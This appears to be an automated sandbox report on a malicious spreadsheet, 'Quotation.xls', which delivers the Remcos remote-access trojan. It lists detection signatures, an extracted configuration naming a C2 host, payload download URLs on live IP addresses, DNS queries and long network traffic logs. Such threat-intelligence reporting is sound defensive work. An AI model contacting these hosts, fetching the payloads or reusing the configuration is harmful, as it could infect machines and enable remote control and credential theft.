Windows Analysis Report
Quotation.xls

Overview

General Information

Sample name: Quotation.xls
Analysis ID: 1482857
MD5: 36cace5745dcb32c2ab03ca4ba433394
SHA1: 2e479ac4ea9b158f39093dded3b55c360a1f2082
SHA256: c2f6ea297ebee1570036db204177fde0e0263006637806e9b28365bb4ef14d7c
Tags: xls
Infos:

Detection

Remcos
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Contains functionality to bypass UAC (CMSTPLUA)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Yara detected obfuscated html page
AI detected suspicious Excel or Word document
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Suspicious command line found
Suspicious powershell command line found
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains embedded VBA macros
Document misses a certain OLE stream usually present in this Microsoft Office document type
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Remcos, RemcosRAT Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
 https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

AV Detection
barindex
Found malware configuration
Source: 00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: Remcos {"Host:Port:Password": "unifrieghtmovers.com:2558:1", "Assigned name": "Gasplant", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "chrome-E2SMAR", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Multi AV Scanner detection for domain / URL
Source: tny.wtf Virustotal: Detection: 5% Perma Link
Source: http://107.173.143.46/T2507F/csrss.exep Virustotal: Detection: 12% Perma Link
Source: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaC: Virustotal: Detection: 5% Perma Link
Source: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htax Virustotal: Detection: 5% Perma Link
Source: http://107.173.143.46/T2507F/csrss.exe Virustotal: Detection: 12% Perma Link
Source: http://107.173.143.46/T2507F/csr Virustotal: Detection: 12% Perma Link
Source: http://tny.wtf/ Virustotal: Detection: 5% Perma Link
Source: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htahttp://91.92.245.100/xampp/ebcd/eb/gdfvr.hta Virustotal: Detection: 5% Perma Link
Source: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta Virustotal: Detection: 5% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe Virustotal: Detection: 21% Perma Link
Multi AV Scanner detection for submitted file
Source: Quotation.xls ReversingLabs: Detection: 18%
Source: Quotation.xls Virustotal: Detection: 24% Perma Link
Yara detected Remcos RAT
Source: Yara match File source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 3660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR
Machine Learning detection for sample
Source: Quotation.xls Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext, 25_2_00433837
Source: winiti.exe, 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_8d93157b-0

Exploits
barindex
Yara detected UAC Bypass using CMSTP
Source: Yara match File source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR

Privilege Escalation
barindex
Contains functionality to bypass UAC (CMSTPLUA)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_004074FD _wcslen,CoGetObject, 25_2_004074FD

Phishing
barindex
Yara detected obfuscated html page
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\gdfvr[1].hta, type: DROPPED
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.pdb source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.pdbhPD source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.pdbhPE source: powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.pdb source: powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose, 25_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose, 25_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose, 25_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose, 25_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0044E879 FindFirstFileExA, 25_2_0044E879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose, 25_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040783C FindFirstFileW,FindNextFileW, 25_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW, 25_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 25_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 25_2_0040BD37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW, 25_2_00407C97

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: tny.wtf
Source: global traffic DNS query: name: unifrieghtmovers.com
Source: global traffic DNS query: name: geoplugin.net
Source: global traffic DNS query: name: geoplugin.net
Source: global traffic DNS query: name: tny.wtf
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 178.237.33.50:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
